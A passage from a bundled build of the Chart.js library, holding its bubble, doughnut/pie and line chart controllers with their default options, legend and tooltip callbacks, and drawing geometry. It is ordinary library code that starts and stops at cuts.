strict';\n\nvar defaults = require(25);\nvar elements = require(40);\nvar helpers = require(45);\n\ndefaults._set('bubble', {\n\thover: {\n\t\tmode: 'single'\n\t},\n\n\tscales: {\n\t\txAxes: [{\n\t\t\ttype: 'linear', // bubble should probably use a linear scale by default\n\t\t\tposition: 'bottom',\n\t\t\tid: 'x-axis-0' // need an ID so datasets can reference the scale\n\t\t}],\n\t\tyAxes: [{\n\t\t\ttype: 'linear',\n\t\t\tposition: 'left',\n\t\t\tid: 'y-axis-0'\n\t\t}]\n\t},\n\n\ttooltips: {\n\t\tcallbacks: {\n\t\t\ttitle: function() {\n\t\t\t\t// Title doesn't make sense for scatter since we format the data as a point\n\t\t\t\treturn '';\n\t\t\t},\n\t\t\tlabel: function(item, data) {\n\t\t\t\tvar datasetLabel = data.datasets[item.datasetIndex].label || '';\n\t\t\t\tvar dataPoint = data.datasets[item.datasetIndex].data[item.index];\n\t\t\t\treturn datasetLabel + ': (' + item.xLabel + ', ' + item.yLabel + ', ' + dataPoint.r + ')';\n\t\t\t}\n\t\t}\n\t}\n});\n\n\nmodule.exports = function(Chart) {\n\n\tChart.controllers.bubble = Chart.DatasetController.extend({\n\t\t/**\n\t\t * @protected\n\t\t */\n\t\tdataElementType: elements.Point,\n\n\t\t/**\n\t\t * @protected\n\t\t */\n\t\tupdate: function(reset) {\n\t\t\tvar me = this;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar points = meta.data;\n\n\t\t\t// Update Points\n\t\t\thelpers.each(points, function(point, index) {\n\t\t\t\tme.updateElement(point, index, reset);\n\t\t\t});\n\t\t},\n\n\t\t/**\n\t\t * @protected\n\t\t */\n\t\tupdateElement: function(point, index, reset) {\n\t\t\tvar me = this;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar custom = point.custom || {};\n\t\t\tvar xScale = me.getScaleForId(meta.xAxisID);\n\t\t\tvar yScale = me.getScaleForId(meta.yAxisID);\n\t\t\tvar options = me._resolveElementOptions(point, index);\n\t\t\tvar data = me.getDataset().data[index];\n\t\t\tvar dsIndex = me.index;\n\n\t\t\tvar x = reset ? xScale.getPixelForDecimal(0.5) : xScale.getPixelForValue(typeof data === 'object' ? data : NaN, index, dsIndex);\n\t\t\tvar y = reset ? yScale.getBasePixel() : yScale.getPixelForValue(data, index, dsIndex);\n\n\t\t\tpoint._xScale = xScale;\n\t\t\tpoint._yScale = yScale;\n\t\t\tpoint._options = options;\n\t\t\tpoint._datasetIndex = dsIndex;\n\t\t\tpoint._index = index;\n\t\t\tpoint._model = {\n\t\t\t\tbackgroundColor: options.backgroundColor,\n\t\t\t\tborderColor: options.borderColor,\n\t\t\t\tborderWidth: options.borderWidth,\n\t\t\t\thitRadius: options.hitRadius,\n\t\t\t\tpointStyle: options.pointStyle,\n\t\t\t\tradius: reset ? 0 : options.radius,\n\t\t\t\tskip: custom.skip || isNaN(x) || isNaN(y),\n\t\t\t\tx: x,\n\t\t\t\ty: y,\n\t\t\t};\n\n\t\t\tpoint.pivot();\n\t\t},\n\n\t\t/**\n\t\t * @protected\n\t\t */\n\t\tsetHoverStyle: function(point) {\n\t\t\tvar model = point._model;\n\t\t\tvar options = point._options;\n\n\t\t\tmodel.backgroundColor = helpers.valueOrDefault(options.hoverBackgroundColor, helpers.getHoverColor(options.backgroundColor));\n\t\t\tmodel.borderColor = helpers.valueOrDefault(options.hoverBorderColor, helpers.getHoverColor(options.borderColor));\n\t\t\tmodel.borderWidth = helpers.valueOrDefault(options.hoverBorderWidth, options.borderWidth);\n\t\t\tmodel.radius = options.radius + options.hoverRadius;\n\t\t},\n\n\t\t/**\n\t\t * @protected\n\t\t */\n\t\tremoveHoverStyle: function(point) {\n\t\t\tvar model = point._model;\n\t\t\tvar options = point._options;\n\n\t\t\tmodel.backgroundColor = options.backgroundColor;\n\t\t\tmodel.borderColor = options.borderColor;\n\t\t\tmodel.borderWidth = options.borderWidth;\n\t\t\tmodel.radius = options.radius;\n\t\t},\n\n\t\t/**\n\t\t * @private\n\t\t */\n\t\t_resolveElementOptions: function(point, index) {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar datasets = chart.data.datasets;\n\t\t\tvar dataset = datasets[me.index];\n\t\t\tvar custom = point.custom || {};\n\t\t\tvar options = chart.options.elements.point;\n\t\t\tvar resolve = helpers.options.resolve;\n\t\t\tvar data = dataset.data[index];\n\t\t\tvar values = {};\n\t\t\tvar i, ilen, key;\n\n\t\t\t// Scriptable options\n\t\t\tvar context = {\n\t\t\t\tchart: chart,\n\t\t\t\tdataIndex: index,\n\t\t\t\tdataset: dataset,\n\t\t\t\tdatasetIndex: me.index\n\t\t\t};\n\n\t\t\tvar keys = [\n\t\t\t\t'backgroundColor',\n\t\t\t\t'borderColor',\n\t\t\t\t'borderWidth',\n\t\t\t\t'hoverBackgroundColor',\n\t\t\t\t'hoverBorderColor',\n\t\t\t\t'hoverBorderWidth',\n\t\t\t\t'hoverRadius',\n\t\t\t\t'hitRadius',\n\t\t\t\t'pointStyle'\n\t\t\t];\n\n\t\t\tfor (i = 0, ilen = keys.length; i < ilen; ++i) {\n\t\t\t\tkey = keys[i];\n\t\t\t\tvalues[key] = resolve([\n\t\t\t\t\tcustom[key],\n\t\t\t\t\tdataset[key],\n\t\t\t\t\toptions[key]\n\t\t\t\t], context, index);\n\t\t\t}\n\n\t\t\t// Custom radius resolution\n\t\t\tvalues.radius = resolve([\n\t\t\t\tcustom.radius,\n\t\t\t\tdata ? data.r : undefined,\n\t\t\t\tdataset.radius,\n\t\t\t\toptions.radius\n\t\t\t], context, index);\n\n\t\t\treturn values;\n\t\t}\n\t});\n};\n\n},{\"25\":25,\"40\":40,\"45\":45}],17:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar elements = require(40);\nvar helpers = require(45);\n\ndefaults._set('doughnut', {\n\tanimation: {\n\t\t// Boolean - Whether we animate the rotation of the Doughnut\n\t\tanimateRotate: true,\n\t\t// Boolean - Whether we animate scaling the Doughnut from the centre\n\t\tanimateScale: false\n\t},\n\thover: {\n\t\tmode: 'single'\n\t},\n\tlegendCallback: function(chart) {\n\t\tvar text = [];\n\t\ttext.push('<ul class=\"' + chart.id + '-legend\">');\n\n\t\tvar data = chart.data;\n\t\tvar datasets = data.datasets;\n\t\tvar labels = data.labels;\n\n\t\tif (datasets.length) {\n\t\t\tfor (var i = 0; i < datasets[0].data.length; ++i) {\n\t\t\t\ttext.push('<li><span style=\"background-color:' + datasets[0].backgroundColor[i] + '\"></span>');\n\t\t\t\tif (labels[i]) {\n\t\t\t\t\ttext.push(labels[i]);\n\t\t\t\t}\n\t\t\t\ttext.push('</li>');\n\t\t\t}\n\t\t}\n\n\t\ttext.push('</ul>');\n\t\treturn text.join('');\n\t},\n\tlegend: {\n\t\tlabels: {\n\t\t\tgenerateLabels: function(chart) {\n\t\t\t\tvar data = chart.data;\n\t\t\t\tif (data.labels.length && data.datasets.length) {\n\t\t\t\t\treturn data.labels.map(function(label, i) {\n\t\t\t\t\t\tvar meta = chart.getDatasetMeta(0);\n\t\t\t\t\t\tvar ds = data.datasets[0];\n\t\t\t\t\t\tvar arc = meta.data[i];\n\t\t\t\t\t\tvar custom = arc && arc.custom || {};\n\t\t\t\t\t\tvar valueAtIndexOrDefault = helpers.valueAtIndexOrDefault;\n\t\t\t\t\t\tvar arcOpts = chart.options.elements.arc;\n\t\t\t\t\t\tvar fill = custom.backgroundColor ? custom.backgroundColor : valueAtIndexOrDefault(ds.backgroundColor, i, arcOpts.backgroundColor);\n\t\t\t\t\t\tvar stroke = custom.borderColor ? custom.borderColor : valueAtIndexOrDefault(ds.borderColor, i, arcOpts.borderColor);\n\t\t\t\t\t\tvar bw = custom.borderWidth ? custom.borderWidth : valueAtIndexOrDefault(ds.borderWidth, i, arcOpts.borderWidth);\n\n\t\t\t\t\t\treturn {\n\t\t\t\t\t\t\ttext: label,\n\t\t\t\t\t\t\tfillStyle: fill,\n\t\t\t\t\t\t\tstrokeStyle: stroke,\n\t\t\t\t\t\t\tlineWidth: bw,\n\t\t\t\t\t\t\thidden: isNaN(ds.data[i]) || meta.data[i].hidden,\n\n\t\t\t\t\t\t\t// Extra data used for toggling the correct item\n\t\t\t\t\t\t\tindex: i\n\t\t\t\t\t\t};\n\t\t\t\t\t});\n\t\t\t\t}\n\t\t\t\treturn [];\n\t\t\t}\n\t\t},\n\n\t\tonClick: function(e, legendItem) {\n\t\t\tvar index = legendItem.index;\n\t\t\tvar chart = this.chart;\n\t\t\tvar i, ilen, meta;\n\n\t\t\tfor (i = 0, ilen = (chart.data.datasets || []).length; i < ilen; ++i) {\n\t\t\t\tmeta = chart.getDatasetMeta(i);\n\t\t\t\t// toggle visibility of index if exists\n\t\t\t\tif (meta.data[index]) {\n\t\t\t\t\tmeta.data[index].hidden = !meta.data[index].hidden;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tchart.update();\n\t\t}\n\t},\n\n\t// The percentage of the chart that we cut out of the middle.\n\tcutoutPercentage: 50,\n\n\t// The rotation of the chart, where the first data arc begins.\n\trotation: Math.PI * -0.5,\n\n\t// The total circumference of the chart.\n\tcircumference: Math.PI * 2.0,\n\n\t// Need to override these to give a nice default\n\ttooltips: {\n\t\tcallbacks: {\n\t\t\ttitle: function() {\n\t\t\t\treturn '';\n\t\t\t},\n\t\t\tlabel: function(tooltipItem, data) {\n\t\t\t\tvar dataLabel = data.labels[tooltipItem.index];\n\t\t\t\tvar value = ': ' + data.datasets[tooltipItem.datasetIndex].data[tooltipItem.index];\n\n\t\t\t\tif (helpers.isArray(dataLabel)) {\n\t\t\t\t\t// show value on first line of multiline label\n\t\t\t\t\t// need to clone because we are changing the value\n\t\t\t\t\tdataLabel = dataLabel.slice();\n\t\t\t\t\tdataLabel[0] += value;\n\t\t\t\t} else {\n\t\t\t\t\tdataLabel += value;\n\t\t\t\t}\n\n\t\t\t\treturn dataLabel;\n\t\t\t}\n\t\t}\n\t}\n});\n\ndefaults._set('pie', helpers.clone(defaults.doughnut));\ndefaults._set('pie', {\n\tcutoutPercentage: 0\n});\n\nmodule.exports = function(Chart) {\n\n\tChart.controllers.doughnut = Chart.controllers.pie = Chart.DatasetController.extend({\n\n\t\tdataElementType: elements.Arc,\n\n\t\tlinkScales: helpers.noop,\n\n\t\t// Get index of the dataset in relation to the visible datasets. This allows determining the inner and outer radius correctly\n\t\tgetRingIndex: function(datasetIndex) {\n\t\t\tvar ringIndex = 0;\n\n\t\t\tfor (var j = 0; j < datasetIndex; ++j) {\n\t\t\t\tif (this.chart.isDatasetVisible(j)) {\n\t\t\t\t\t++ringIndex;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn ringIndex;\n\t\t},\n\n\t\tupdate: function(reset) {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar chartArea = chart.chartArea;\n\t\t\tvar opts = chart.options;\n\t\t\tvar arcOpts = opts.elements.arc;\n\t\t\tvar availableWidth = chartArea.right - chartArea.left - arcOpts.borderWidth;\n\t\t\tvar availableHeight = chartArea.bottom - chartArea.top - arcOpts.borderWidth;\n\t\t\tvar minSize = Math.min(availableWidth, availableHeight);\n\t\t\tvar offset = {x: 0, y: 0};\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar cutoutPercentage = opts.cutoutPercentage;\n\t\t\tvar circumference = opts.circumference;\n\n\t\t\t// If the chart's circumference isn't a full circle, calculate minSize as a ratio of the width/height of the arc\n\t\t\tif (circumference < Math.PI * 2.0) {\n\t\t\t\tvar startAngle = opts.rotation % (Math.PI * 2.0);\n\t\t\t\tstartAngle += Math.PI * 2.0 * (startAngle >= Math.PI ? -1 : startAngle < -Math.PI ? 1 : 0);\n\t\t\t\tvar endAngle = startAngle + circumference;\n\t\t\t\tvar start = {x: Math.cos(startAngle), y: Math.sin(startAngle)};\n\t\t\t\tvar end = {x: Math.cos(endAngle), y: Math.sin(endAngle)};\n\t\t\t\tvar contains0 = (startAngle <= 0 && endAngle >= 0) || (startAngle <= Math.PI * 2.0 && Math.PI * 2.0 <= endAngle);\n\t\t\t\tvar contains90 = (startAngle <= Math.PI * 0.5 && Math.PI * 0.5 <= endAngle) || (startAngle <= Math.PI * 2.5 && Math.PI * 2.5 <= endAngle);\n\t\t\t\tvar contains180 = (startAngle <= -Math.PI && -Math.PI <= endAngle) || (startAngle <= Math.PI && Math.PI <= endAngle);\n\t\t\t\tvar contains270 = (startAngle <= -Math.PI * 0.5 && -Math.PI * 0.5 <= endAngle) || (startAngle <= Math.PI * 1.5 && Math.PI * 1.5 <= endAngle);\n\t\t\t\tvar cutout = cutoutPercentage / 100.0;\n\t\t\t\tvar min = {x: contains180 ? -1 : Math.min(start.x * (start.x < 0 ? 1 : cutout), end.x * (end.x < 0 ? 1 : cutout)), y: contains270 ? -1 : Math.min(start.y * (start.y < 0 ? 1 : cutout), end.y * (end.y < 0 ? 1 : cutout))};\n\t\t\t\tvar max = {x: contains0 ? 1 : Math.max(start.x * (start.x > 0 ? 1 : cutout), end.x * (end.x > 0 ? 1 : cutout)), y: contains90 ? 1 : Math.max(start.y * (start.y > 0 ? 1 : cutout), end.y * (end.y > 0 ? 1 : cutout))};\n\t\t\t\tvar size = {width: (max.x - min.x) * 0.5, height: (max.y - min.y) * 0.5};\n\t\t\t\tminSize = Math.min(availableWidth / size.width, availableHeight / size.height);\n\t\t\t\toffset = {x: (max.x + min.x) * -0.5, y: (max.y + min.y) * -0.5};\n\t\t\t}\n\n\t\t\tchart.borderWidth = me.getMaxBorderWidth(meta.data);\n\t\t\tchart.outerRadius = Math.max((minSize - chart.borderWidth) / 2, 0);\n\t\t\tchart.innerRadius = Math.max(cutoutPercentage ? (chart.outerRadius / 100) * (cutoutPercentage) : 0, 0);\n\t\t\tchart.radiusLength = (chart.outerRadius - chart.innerRadius) / chart.getVisibleDatasetCount();\n\t\t\tchart.offsetX = offset.x * chart.outerRadius;\n\t\t\tchart.offsetY = offset.y * chart.outerRadius;\n\n\t\t\tmeta.total = me.calculateTotal();\n\n\t\t\tme.outerRadius = chart.outerRadius - (chart.radiusLength * me.getRingIndex(me.index));\n\t\t\tme.innerRadius = Math.max(me.outerRadius - chart.radiusLength, 0);\n\n\t\t\thelpers.each(meta.data, function(arc, index) {\n\t\t\t\tme.updateElement(arc, index, reset);\n\t\t\t});\n\t\t},\n\n\t\tupdateElement: function(arc, index, reset) {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar chartArea = chart.chartArea;\n\t\t\tvar opts = chart.options;\n\t\t\tvar animationOpts = opts.animation;\n\t\t\tvar centerX = (chartArea.left + chartArea.right) / 2;\n\t\t\tvar centerY = (chartArea.top + chartArea.bottom) / 2;\n\t\t\tvar startAngle = opts.rotation; // non reset case handled later\n\t\t\tvar endAngle = opts.rotation; // non reset case handled later\n\t\t\tvar dataset = me.getDataset();\n\t\t\tvar circumference = reset && animationOpts.animateRotate ? 0 : arc.hidden ? 0 : me.calculateCircumference(dataset.data[index]) * (opts.circumference / (2.0 * Math.PI));\n\t\t\tvar innerRadius = reset && animationOpts.animateScale ? 0 : me.innerRadius;\n\t\t\tvar outerRadius = reset && animationOpts.animateScale ? 0 : me.outerRadius;\n\t\t\tvar valueAtIndexOrDefault = helpers.valueAtIndexOrDefault;\n\n\t\t\thelpers.extend(arc, {\n\t\t\t\t// Utility\n\t\t\t\t_datasetIndex: me.index,\n\t\t\t\t_index: index,\n\n\t\t\t\t// Desired view properties\n\t\t\t\t_model: {\n\t\t\t\t\tx: centerX + chart.offsetX,\n\t\t\t\t\ty: centerY + chart.offsetY,\n\t\t\t\t\tstartAngle: startAngle,\n\t\t\t\t\tendAngle: endAngle,\n\t\t\t\t\tcircumference: circumference,\n\t\t\t\t\touterRadius: outerRadius,\n\t\t\t\t\tinnerRadius: innerRadius,\n\t\t\t\t\tlabel: valueAtIndexOrDefault(dataset.label, index, chart.data.labels[index])\n\t\t\t\t}\n\t\t\t});\n\n\t\t\tvar model = arc._model;\n\t\t\t// Resets the visual styles\n\t\t\tthis.removeHoverStyle(arc);\n\n\t\t\t// Set correct angles if not resetting\n\t\t\tif (!reset || !animationOpts.animateRotate) {\n\t\t\t\tif (index === 0) {\n\t\t\t\t\tmodel.startAngle = opts.rotation;\n\t\t\t\t} else {\n\t\t\t\t\tmodel.startAngle = me.getMeta().data[index - 1]._model.endAngle;\n\t\t\t\t}\n\n\t\t\t\tmodel.endAngle = model.startAngle + model.circumference;\n\t\t\t}\n\n\t\t\tarc.pivot();\n\t\t},\n\n\t\tremoveHoverStyle: function(arc) {\n\t\t\tChart.DatasetController.prototype.removeHoverStyle.call(this, arc, this.chart.options.elements.arc);\n\t\t},\n\n\t\tcalculateTotal: function() {\n\t\t\tvar dataset = this.getDataset();\n\t\t\tvar meta = this.getMeta();\n\t\t\tvar total = 0;\n\t\t\tvar value;\n\n\t\t\thelpers.each(meta.data, function(element, index) {\n\t\t\t\tvalue = dataset.data[index];\n\t\t\t\tif (!isNaN(value) && !element.hidden) {\n\t\t\t\t\ttotal += Math.abs(value);\n\t\t\t\t}\n\t\t\t});\n\n\t\t\t/* if (total === 0) {\n\t\t\t\ttotal = NaN;\n\t\t\t}*/\n\n\t\t\treturn total;\n\t\t},\n\n\t\tcalculateCircumference: function(value) {\n\t\t\tvar total = this.getMeta().total;\n\t\t\tif (total > 0 && !isNaN(value)) {\n\t\t\t\treturn (Math.PI * 2.0) * (Math.abs(value) / total);\n\t\t\t}\n\t\t\treturn 0;\n\t\t},\n\n\t\t// gets the max border or hover width to properly scale pie charts\n\t\tgetMaxBorderWidth: function(arcs) {\n\t\t\tvar max = 0;\n\t\t\tvar index = this.index;\n\t\t\tvar length = arcs.length;\n\t\t\tvar borderWidth;\n\t\t\tvar hoverWidth;\n\n\t\t\tfor (var i = 0; i < length; i++) {\n\t\t\t\tborderWidth = arcs[i]._model ? arcs[i]._model.borderWidth : 0;\n\t\t\t\thoverWidth = arcs[i]._chart ? arcs[i]._chart.config.data.datasets[index].hoverBorderWidth : 0;\n\n\t\t\t\tmax = borderWidth > max ? borderWidth : max;\n\t\t\t\tmax = hoverWidth > max ? hoverWidth : max;\n\t\t\t}\n\t\t\treturn max;\n\t\t}\n\t});\n};\n\n},{\"25\":25,\"40\":40,\"45\":45}],18:[function(require,module,exports){\n'use strict';\n\nvar defaults = require(25);\nvar elements = require(40);\nvar helpers = require(45);\n\ndefaults._set('line', {\n\tshowLines: true,\n\tspanGaps: false,\n\n\thover: {\n\t\tmode: 'label'\n\t},\n\n\tscales: {\n\t\txAxes: [{\n\t\t\ttype: 'category',\n\t\t\tid: 'x-axis-0'\n\t\t}],\n\t\tyAxes: [{\n\t\t\ttype: 'linear',\n\t\t\tid: 'y-axis-0'\n\t\t}]\n\t}\n});\n\nmodule.exports = function(Chart) {\n\n\tfunction lineEnabled(dataset, options) {\n\t\treturn helpers.valueOrDefault(dataset.showLine, options.showLines);\n\t}\n\n\tChart.controllers.line = Chart.DatasetController.extend({\n\n\t\tdatasetElementType: elements.Line,\n\n\t\tdataElementType: elements.Point,\n\n\t\tupdate: function(reset) {\n\t\t\tvar me = this;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar line = meta.dataset;\n\t\t\tvar points = meta.data || [];\n\t\t\tvar options = me.chart.options;\n\t\t\tvar lineElementOptions = options.elements.line;\n\t\t\tvar scale = me.getScaleForId(meta.yAxisID);\n\t\t\tvar i, ilen, custom;\n\t\t\tvar dataset = me.getDataset();\n\t\t\tvar showLine = lineEnabled(dataset, options);\n\n\t\t\t// Update Line\n\t\t\tif (showLine) {\n\t\t\t\tcustom = line.custom || {};\n\n\t\t\t\t// Compatibility: If the properties are defined with only the old name, use those values\n\t\t\t\tif ((dataset.tension !== undefined) && (dataset.lineTension === undefined)) {\n\t\t\t\t\tdataset.lineTension = dataset.tension;\n\t\t\t\t}\n\n\t\t\t\t// Utility\n\t\t\t\tline._scale = scale;\n\t\t\t\tline._datasetIndex = me.index;\n\t\t\t\t// Data\n\t\t\t\tline._children = points;\n\t\t\t\t// Model\n\t\t\t\tline._model = {\n\t\t\t\t\t// Appearance\n\t\t\t\t\t// The default behavior of lines is to break at null values, according\n\t\t\t\t\t// to https://github.com/chartjs/Chart.js/issues/2435#issuecomment-216718158\n\t\t\t\t\t// This option gives lines the ability to span gaps\n\t\t\t\t\tspanGaps: dataset.spanGaps ? dataset.spanGaps : options.spanGaps,\n\t\t\t\t\ttension: custom.tension ? custom.tension : helpers.valueOrDefault(dataset.lineTension, lineElementOptions.tension),\n\t\t\t\t\tbackgroundColor: custom.backgroundColor ? custom.backgroundColor : (dataset.backgroundColor || lineElementOptions.backgroundColor),\n\t\t\t\t\tborderWidth: custom.borderWidth ? custom.borderWidth : (dataset.borderWidth || lineElementOptions.borderWidth),\n\t\t\t\t\tborderColor: custom.borderColor ? custom.borderColor : (dataset.borderColor || lineElementOptions.borderColor),\n\t\t\t\t\tborderCapStyle: custom.borderCapStyle ? custom.borderCapStyle : (dataset.borderCapStyle || lineElementOptions.borderCapStyle),\n\t\t\t\t\tborderDash: custom.borderDash ? custom.borderDash : (dataset.borderDash || lineElementOptions.borderDash),\n\t\t\t\t\tborderDashOffset: custom.borderDashOffset ? custom.borderDashOffset : (dataset.borderDashOffset || lineElementOptions.borderDashOffset),\n\t\t\t\t\tborderJoinStyle: custom.borderJoinStyle ? custom.borderJoinStyle : (dataset.borderJoinStyle || lineElementOptions.borderJoinStyle),\n\t\t\t\t\tfill: custom.fill ? custom.fill : (dataset.fill !== undefined ? dataset.fill : lineElementOptions.fill),\n\t\t\t\t\tsteppedLine: custom.steppedLine ? custom.steppedLine : helpers.valueOrDefault(dataset.steppedLine, lineElementOptions.stepped),\n\t\t\t\t\tcubicInterpolationMode: custom.cubicInterpolationMode ? custom.cubicInterpolationMode : helpers.valueOrDefault(dataset.cubicInterpolationMode, lineElementOptions.cubicInterpolationMode),\n\t\t\t\t};\n\n\t\t\t\tline.pivot();\n\t\t\t}\n\n\t\t\t// Update Points\n\t\t\tfor (i = 0, ilen = points.length; i < ilen; ++i) {\n\t\t\t\tme.updateElement(points[i], i, reset);\n\t\t\t}\n\n\t\t\tif (showLine && line._model.tension !== 0) {\n\t\t\t\tme.updateBezierControlPoints();\n\t\t\t}\n\n\t\t\t// Now pivot the point for animation\n\t\t\tfor (i = 0, ilen = points.length; i < ilen; ++i) {\n\t\t\t\tpoints[i].pivot();\n\t\t\t}\n\t\t},\n\n\t\tgetPointBackgroundColor: function(point, index) {\n\t\t\tvar backgroundColor = this.chart.options.elements.point.backgroundColor;\n\t\t\tvar dataset = this.getDataset();\n\t\t\tvar custom = point.custom || {};\n\n\t\t\tif (custom.backgroundColor) {\n\t\t\t\tbackgroundColor = custom.backgroundColor;\n\t\t\t} else if (dataset.pointBackgroundColor) {\n\t\t\t\tbackgroundColor = helpers.valueAtIndexOrDefault(dataset.pointBackgroundColor, index, backgroundColor);\n\t\t\t} else if (dataset.backgroundColor) {\n\t\t\t\tbackgroundColor = dataset.backgroundColor;\n\t\t\t}\n\n\t\t\treturn backgroundColor;\n\t\t},\n\n\t\tgetPointBorderColor: function(point, index) {\n\t\t\tvar borderColor = this.chart.options.elements.point.borderColor;\n\t\t\tvar dataset = this.getDataset();\n\t\t\tvar custom = point.custom || {};\n\n\t\t\tif (custom.borderColor) {\n\t\t\t\tborderColor = custom.borderColor;\n\t\t\t} else if (dataset.pointBorderColor) {\n\t\t\t\tborderColor = helpers.valueAtIndexOrDefault(dataset.pointBorderColor, index, borderColor);\n\t\t\t} else if (dataset.borderColor) {\n\t\t\t\tborderColor = dataset.borderColor;\n\t\t\t}\n\n\t\t\treturn borderColor;\n\t\t},\n\n\t\tgetPointBorderWidth: function(point, index) {\n\t\t\tvar borderWidth = this.chart.options.elements.point.borderWidth;\n\t\t\tvar dataset = this.getDataset();\n\t\t\tvar custom = point.custom || {};\n\n\t\t\tif (!isNaN(custom.borderWidth)) {\n\t\t\t\tborderWidth = custom.borderWidth;\n\t\t\t} else if (!isNaN(dataset.pointBorderWidth) || helpers.isArray(dataset.pointBorderWidth)) {\n\t\t\t\tborderWidth = helpers.valueAtIndexOrDefault(dataset.pointBorderWidth, index, borderWidth);\n\t\t\t} else if (!isNaN(dataset.borderWidth)) {\n\t\t\t\tborderWidth = dataset.borderWidth;\n\t\t\t}\n\n\t\t\treturn borderWidth;\n\t\t},\n\n\t\tupdateElement: function(point, index, reset) {\n\t\t\tvar me = this;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar custom = point.custom || {};\n\t\t\tvar dataset = me.getDataset();\n\t\t\tvar datasetIndex = me.index;\n\t\t\tvar value = dataset.data[index];\n\t\t\tvar yScale = me.getScaleForId(meta.yAxisID);\n\t\t\tvar xScale = me.getScaleForId(meta.xAxisID);\n\t\t\tvar pointOptions = me.chart.options.elements.point;\n\t\t\tvar x, y;\n\n\t\t\t// Compatibility: If the properties are defined with only the old name, use those values\n\t\t\tif ((dataset.radius !== undefined) && (dataset.pointRadius === undefined)) {\n\t\t\t\tdataset.pointRadius = dataset.radius;\n\t\t\t}\n\t\t\tif ((dataset.hitRadius !== undefined) && (dataset.pointHitRadius === undefined)) {\n\t\t\t\tdataset.pointHitRadius = dataset.hitRadius;\n\t\t\t}\n\n\t\t\tx = xScale.getPixelForValue(typeof value === 'object' ? value : NaN, index, datasetIndex);\n\t\t\ty = reset ? yScale.getBasePixel() : me.calculatePointY(value, index, datasetIndex);\n\n\t\t\t// Utility\n\t\t\tpoint._xScale = xScale;\n\t\t\tpoint._yScale = yScale;\n\t\t\tpoint._datasetIndex = datasetIndex;\n\t\t\tpoint._index = index;\n\n\t\t\t// Desired view properties\n\t\t\tpoint._model = {\n\t\t\t\tx: x,\n\t\t\t\ty: y,\n\t\t\t\tskip: custom.skip || isNaN(x) || isNaN(y),\n\t\t\t\t// Appearance\n\t\t\t\tradius: custom.radius || helpers.valueAtIndexOrDefault(dataset.pointRadius, index, pointOptions.radius),\n\t\t\t\tpointStyle: custom.pointStyle || helpers.valueAtIndexOrDefault(dataset.pointStyle, index, pointOptions.pointStyle),\n\t\t\t\tbackgroundColor: me.getPointBackgroundColor(point, index),\n\t\t\t\tborderColor: me.getPointBorderColor(point, index),\n\t\t\t\tborderWidth: me.getPointBorderWidth(point, index),\n\t\t\t\ttension: meta.dataset._model ? meta.dataset._model.tension : 0,\n\t\t\t\tsteppedLine: meta.dataset._model ? meta.dataset._model.steppedLine : false,\n\t\t\t\t// Tooltip\n\t\t\t\thitRadius: custom.hitRadius || helpers.valueAtIndexOrDefault(dataset.pointHitRadius, index, pointOptions.hitRadius)\n\t\t\t};\n\t\t},\n\n\t\tcalculatePointY: function(value, index, datasetIndex) {\n\t\t\tvar me = this;\n\t\t\tvar chart = me.chart;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar yScale = me.getScaleForId(meta.yAxisID);\n\t\t\tvar sumPos = 0;\n\t\t\tvar sumNeg = 0;\n\t\t\tvar i, ds, dsMeta;\n\n\t\t\tif (yScale.options.stacked) {\n\t\t\t\tfor (i = 0; i < datasetIndex; i++) {\n\t\t\t\t\tds = chart.data.datasets[i];\n\t\t\t\t\tdsMeta = chart.getDatasetMeta(i);\n\t\t\t\t\tif (dsMeta.type === 'line' && dsMeta.yAxisID === yScale.id && chart.isDatasetVisible(i)) {\n\t\t\t\t\t\tvar stackedRightValue = Number(yScale.getRightValue(ds.data[index]));\n\t\t\t\t\t\tif (stackedRightValue < 0) {\n\t\t\t\t\t\t\tsumNeg += stackedRightValue || 0;\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tsumPos += stackedRightValue || 0;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tvar rightValue = Number(yScale.getRightValue(value));\n\t\t\t\tif (rightValue < 0) {\n\t\t\t\t\treturn yScale.getPixelForValue(sumNeg + rightValue);\n\t\t\t\t}\n\t\t\t\treturn yScale.getPixelForValue(sumPos + rightValue);\n\t\t\t}\n\n\t\t\treturn yScale.getPixelForValue(value);\n\t\t},\n\n\t\tupdateBezierControlPoints: function() {\n\t\t\tvar me = this;\n\t\t\tvar meta = me.getMeta();\n\t\t\tvar area = me.chart.chartArea;\n\t\t\tvar points = (meta.data || []);\n\t\t\tvar i, ilen, point, model, controlPoints;\n\n\t\t\t// Only consider points that are drawn in case the spanGaps option is used\n\t\t\tif (meta.dataset._model.spanGaps) {\n\t\t\t\tpoints = points.filter(function(pt) {\n\t\t\t\t\treturn !pt._model.skip;\n\t\t\t\t});\n\t\t\t}\n\n\t\t\tfunction capControlPoint(pt, min, max) {\n\t\t\t\treturn Math.max(Math.min(pt, max), min);\n\t\t\t}\n\n\t\t\tif (meta.dataset._model.cubicInterpolationMode === 'monotone') {\n\t\t\t\thelpers.splineCurveMonotone(points);\n\t\t\t} else {\n\t\t\t\tfor (i = 0, ilen = points.length; i < ilen; ++i) {\n\t\t\t\t\tpoint = points[i];\n\t\t\t\t\tmodel = point._model;\n\t\t\t\t\tcontrolPoints = helpers.splineCurve(\n\t\t\t\t\t\thelpers.previousItem(points, i)._model,\n\t\t\t\t\t\tmodel,\n\t\t\t\t\t\thelpers.nextItem(points, i)._model,\n\t\t\t\t\t\tmeta.dataset._model.tension\n\t\t\t\t\t);\n\t\t\t\t\tmodel.controlPointPreviousX = controlPoints.previous.x;\n\t\t\t\t\tmodel.controlPointPreviousY = controlPoints.previous.y;\n\t\t\t\t\tmodel.controlPointNextX = controlPoints.next.x;\n\t\t\t\t\tmodel.controlPointNextY = controlPoints.next.y;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif 